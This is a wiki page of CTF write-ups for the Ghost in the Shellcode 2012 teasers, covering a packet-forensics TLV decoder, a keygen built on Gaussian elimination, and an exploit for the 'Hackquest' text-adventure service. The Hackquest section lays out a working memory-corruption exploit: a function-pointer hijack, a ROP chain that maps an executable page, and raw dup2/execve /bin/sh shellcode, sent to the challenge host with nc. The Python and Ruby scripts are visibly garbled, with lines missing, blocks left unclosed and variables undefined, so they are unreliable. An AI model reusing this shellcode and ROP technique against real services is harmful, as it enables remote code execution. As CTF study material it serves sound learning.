Difference between revisions of "Gits2012teaser"

From Fixme.ch
Jump to: navigation, search
Line 1: Line 1:
= Ghost in the Shellcode 2012 Teasers writeups =
= Ghost in the Shellcode 2012 Teasers writeups =
Thanks to the organizers for this pretty nice teaser.
Thanks to the organizers for those pretty nice teasers!
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.

Revision as of 17:58, 8 January 2012

Ghost in the Shellcode 2012 Teasers writeups


Thanks to the organizers for those pretty nice teasers!

The following writeups have been made by members of the FIXME team during between January 6th and January 8th.

#1 TelAviv


What is the password? (File)
Hint: TeLaViv+ is a packet forensics challenge.


The file 7139a4ea239dcac655f7c38ca6a77b61.bin is a regular pcap file which contains a single TCP session.


The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:

  • "GitS", probably some dummy data
  • a NULL byte
  • "Plague", potential username
  • 233 remaining bytes, this is the actual password we're looking for

The hint (TeLaViv+) tells us that this password is probably encoded with Type-Length-Value (TLV) encoding. However, there was actually no type fields and the length of each field was one byte long.


The following Python script (tlv.py) decodes the password:

#!/usr/bin/env python
# http://ghostintheshellcode.com/
# Ghost in the Shellcode 2012 Teaser
# Challenge #1 TelAviv
# By Francois Deppierraz <francois@ctrlaltdel.ch>

import sys
from pprint import pprint
from binascii import hexlify

f = open("7139a4ea239dcac655f7c38ca6a77b61.bin")
f.seek(0x244) # seek to the data of interest, offset found with wireshark
data = f.read(233) # data size

total_len = 0
packets = []
while index < len(data):
    length = ord(data[index])
    index += length+1
    total_len += length+1

# Ensure that all data was actually parsed
assert total_len == len(data)

print "Found %d packets: " % len(packets)
for p in packets:
  print "  ",
  for c in p:
    print hex(ord(c)),

numbers = [[ord(c) for c in p] for p in packets]
#print "Values: ",

# Sum all byte values for each packet
sums = [sum(row) for row in numbers]
print "Sums: " + repr(sums)

s = "".join([chr(c/2) for c in sums])
print "Divide by 2 and then convert to ASCII: "
print s

print "Simple subsitution: "
# "Dro Zkccgybn sc" to "The Password is"
from_txt = "\":dro zkccgybn sc"
to_txt   = "\":the password is"
assert len(from_txt) == len(to_txt)

for c in s.lower():
  idx = from_txt.find(c)
  if idx != -1:

$ ./tlv.py
Found 37 packets: 
   0x2b 0x2e 0x1 0x17 0x10 0x1 0x5 0x1
   0x57 0x21 0x57 0x1 0x1 0x12 0x1
   0x4d 0x5d 0x1d 0x8 0xd 0x2
   0x1b 0xa 0x18 0x2 0x1
   0x5a 0x4 0x46 0x10
   0x84 0x27 0x16 0x12 0x3
   0x9d 0x22 0x5 0x1 0x1
   0xb8 0x9 0x4 0x1
   0x33 0x5d 0x38 0x5 0x1
   0x5e 0xd 0x68 0x1f
   0x50 0x2d 0x1a 0x20 0x2 0x9 0x2
   0x90 0xc 0x20 0x10 0xf 0x1
   0x3a 0x4 0x1 0x1
   0x17 0x3b 0x34 0x18 0x37 0xf 0x1 0x1
   0x21 0x78 0x25 0x8
   0x1d 0x4b 0x8 0x3 0x1
   0x1a 0x21 0x2 0x3
   0x19 0x25 0x4 0x1 0x1
   0x5c 0x17 0x12 0x2 0x1
   0x5d 0x49 0x33 0x4 0x3 0x2 0x1 0x1
   0x96 0x1a 0x29 0x5
   0x3a 0x5 0x1
   0x39 0x4 0x53 0xa 0x1 0x1
   0x79 0x2 0x7 0x1b 0x1 0x37 0x1
   0x3 0xe 0x18 0x17
   0x6e 0x11 0x9 0x3 0x1
   0xb4 0x6 0x1 0x3 0x4 0x3 0x1e 0x2 0x1
   0x2 0xa7 0x10 0x10 0x12 0x13 0x2
   0x4c 0x9 0x43 0x7 0xd 0x4 0x2a
   0xd 0x78 0x5f 0x2
   0x2b 0x7 0xd 0x1
   0x74 0xd 0xe 0x9 0x2
   0x2d 0xa6 0xd 0xb 0x1 0x6
   0x9d 0x39 0x5 0x1
   0xd5 0x9
   0x38 0x6 0x2 0x2 0x1 0x1
   0x2f 0x5 0xb 0x1

Sums: [136, 228, 222, 64, 180, 214, 198, 198, 206, 242, 196, 220, 64, 230, 198, 116, 64, 68, 136, 228, 222, 64, 156, 214, 64, 140, 230, 240, 218, 230, 64, 154, 242, 220, 222, 68, 64]

Divide by 2 and then convert to ASCII: 
Dro Zkccgybn sc: "Dro Nk Fsxms Myno" 

Simple subsitution: 
the password is: "the da .i..i .ode"

#2 AL's Revenge


Use your team GUID and generate a serial. (File)
Hint: File


  • file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
  • file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
  • analyze disassembly, extract C representation:
VerifySerial(uint64_t name, uint64_t serial)
	uint64_t a = 0x8000000000000000LL;
        uint64_t b = 0xa348fccd93aea5a7LL;
	uint64_t result = 0;

	/* high order bit set? */
	if (name & a)
		a ^= b;

	if (serial & a)
		serial ^= b;

	while (serial != 0) {
		if (serial & 1)
			result ^= name;

		serial >>= 1;
		name <<= 1;

		if (name & a)
			name ^= b;

	return (result == 1);
  • it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
  • lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
  • The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
  • lacking math package fu, implement a gaussian elimination manually:
class Numeric
  def bits64
    sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}

def names(name)
  p = 0xa348fccd93aea5a7

  if (name >> 63) & 1 == 1
    name ^= p

  ([name] + 63.times.map do |i|
    name <<= 1
    if (name >> 63) & 1 == 1
      name ^= p

class Array
  def pivot
    res = []
    self[0].size.times.map do |i|
      self.size.times.map do |j|

  def bitary_to_int

class Eq < Array
  attr_accessor :res

  def initialize(ary, res)
    @res = res

  def lead_zero
    self.take_while{|e| e == 0}

  def first_pos

  def subtract(o)
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)

class EqSys < Array
  def initialize(ary, res=nil)
    if !(Eq === ary[0]) && !ary.empty?
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}

  def sort_by_zeros
    self.sort do |a, b|
      a.lead_zero <=> b.lead_zero

  def subtract_eq(eq)
    pos = eq.first_pos
    return self if not pos
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})

  def elim
    front = EqSys.new([])
    cur = nil
    rest = self.sort_by_zeros
    while not rest.empty?
      front << cur if cur
      cur = rest.shift

      front = front.subtract_eq(cur)
      rest = rest.subtract_eq(cur)
      rest = rest.sort_by_zeros
    front << cur


  def to_s
    self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")

require 'pp'
if __FILE__ == $0
  ns = names(0x6638623261336134)

  pv = ns.pivot
  es = EqSys.new(pv, 1.bits64)

  puts es.to_s

  r = es.elim
  puts r.to_s

  res = r.map{|e| e.res}.reverse
  puts res.bitary_to_int.to_s(16)

  s0 = r.pivot.last.reverse
  puts s0.bitary_to_int.to_s(16)
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)

#3 Hackquest


Find the key. (File running at hackquest.ghostintheshellcode.com:7331)
Hint: Binary file
Hint: Partial source code


  • Remote system running some sort of text adventure.
  • Hint dropped source code partially (extremely helpful)
  • Hint from irc: look at the items
  • struct ItemInfo contains a union:
        void* data;
        LocationInfo* newLocation;
        struct ItemInfo* newItem;
                ActionInfo* actionInfo;
                char* requiredTarget;
        } action;
                char* name;
                struct ItemInfo* newItem;
        } namedUnwrap;
} info;
  • magical item:
{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
  • use() has an insufficient test:
if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
    (item->type == ITEM_UNWRAP))
        sendMsg(s, "That item can't have a target.\n");
        ok = false;
else if (!strcasecmp(item->info.action.requiredTarget, target))
        sendMsg(s, item->message);
        showDesc = item->info.action.actionInfo->showDesc;
  • if we "use letter on $target", we can make it call ->func()
  • .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
  • ->func aliases with .name
  • the game asks us for our name, and stores this into a 31 byte static buffer
  • whatever we use as name will be used as function address to be called -> we captured control flow
  • ROP ensues:
  • first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
  • then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
  • our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
  • work around this problem by putting bootstrap shellcode into the static name buffer (see above)
  • bootstrap code copies stack-relative buffer to our page, then transfers control:
	leal	0x41(%esp),%esi	# calc source from stack offset
	popl	%edi		# dest addr is already on stack
	pushl	$0x41		# dest offset so that we don't get overwritten
	popl	%ecx		# duplicates as length
	addl	%ecx,%edi	# add offset
	push	%edi		# store dest for later
	rep	movsl		# copy
	popl	%edi		# retrieve old dest
	jmp	*%edi		# jump there
  • remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset
	pushl	$0x3f		# dup2 syscall number
	popl	%eax		# into eax
	int	$0x80		# do syscall
	inc	%ecx		# inc desc2
	cmp	$0x3,%cl	# do for 0, 1, 2
	jne	1b		# repeat

	popl	%ecx		# zero ecx = argv
	mull	%ecx		# zero eax, edx = env
        pushl	$0x0068732f	# /sh\0
        pushl   $0x6e69622f	# /bin
	movl	%esp,%ebx	# string arg
	movb	$0xb,%al	# execve syscall number
	int	$0x80		# magic!
  • cat key.txt
  • all combined, use as (ruby h.rb; cat) | nc host 7331
addr = 0x60606000               # our page address
src = 0x804c2a0                 # from 0x80498f4

sockoffset = 0xbc

p = [
     # offset 0
     "use letter on ",
     # offset 14
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
     # offset 31
     " " * (0x44 - 32),           # fill
     # offset 0x44
     0x80486d4,          # C mmap
     0x8048db5,          # L add $0x1c,%esp | ret
     addr,               # (void *addr,
     4096,               #  size_t len,
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
     0,                  #  int filedes,
     0,                  #  off_t off)
     0,                  # filler, also possibly offset
     0x80487d4,          # C memcpy
     addr,               # L addr = shellcode
     addr,               # (void *dest,
     src + 4,            #  const void *src,
     200,                #  size_t n).
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number
      0x58,                         # popl  %eax     # into eax
      0xcd, 0x80,                   # int   $0x80    # do syscall
      0x41,                         # inc   %ecx     # inc desc2
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2
      0x75, 0xf5,                   # jne   1b       # repeat

      0x59,       # popl  %ecx  # zero ecx = argv
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin
      0x89, 0xe3, # movl  %esp,%ebx  # string arg
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number
      0xcd, 0x80  # int	$0x80        # magic!

shellcode = 0xc

# this lives at src
namelen = 20
name = [
        # stack pivot
        0x08049019,              # add $0x9c,%esp | ret

        # bootstrap shellcode
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
         0x5f,                    # popl  %edi
         0x6a, namelen,           # pushl $XXX
         0x59,                    # popl  %ecx
         0x01, 0xcf,              # addl  %ecx,%edi
         0x57,                    # push  %edi
         0xf3, 0xa5,              # rep movsl
         0x5f,                    # popl  %edi
         0xff, 0xe7,              # jmp   *%edi

all = name +
   "get can\n",
   "use can\n",
   "go south\n",
   "get letter\n",
  ] +
  p + ["\n"]

def collapse(a)
  a.map do |e|
    case e
    when Numeric
    when Array

if __FILE__ == $0
  cp = collapse(all)
  # puts cp.size
  print cp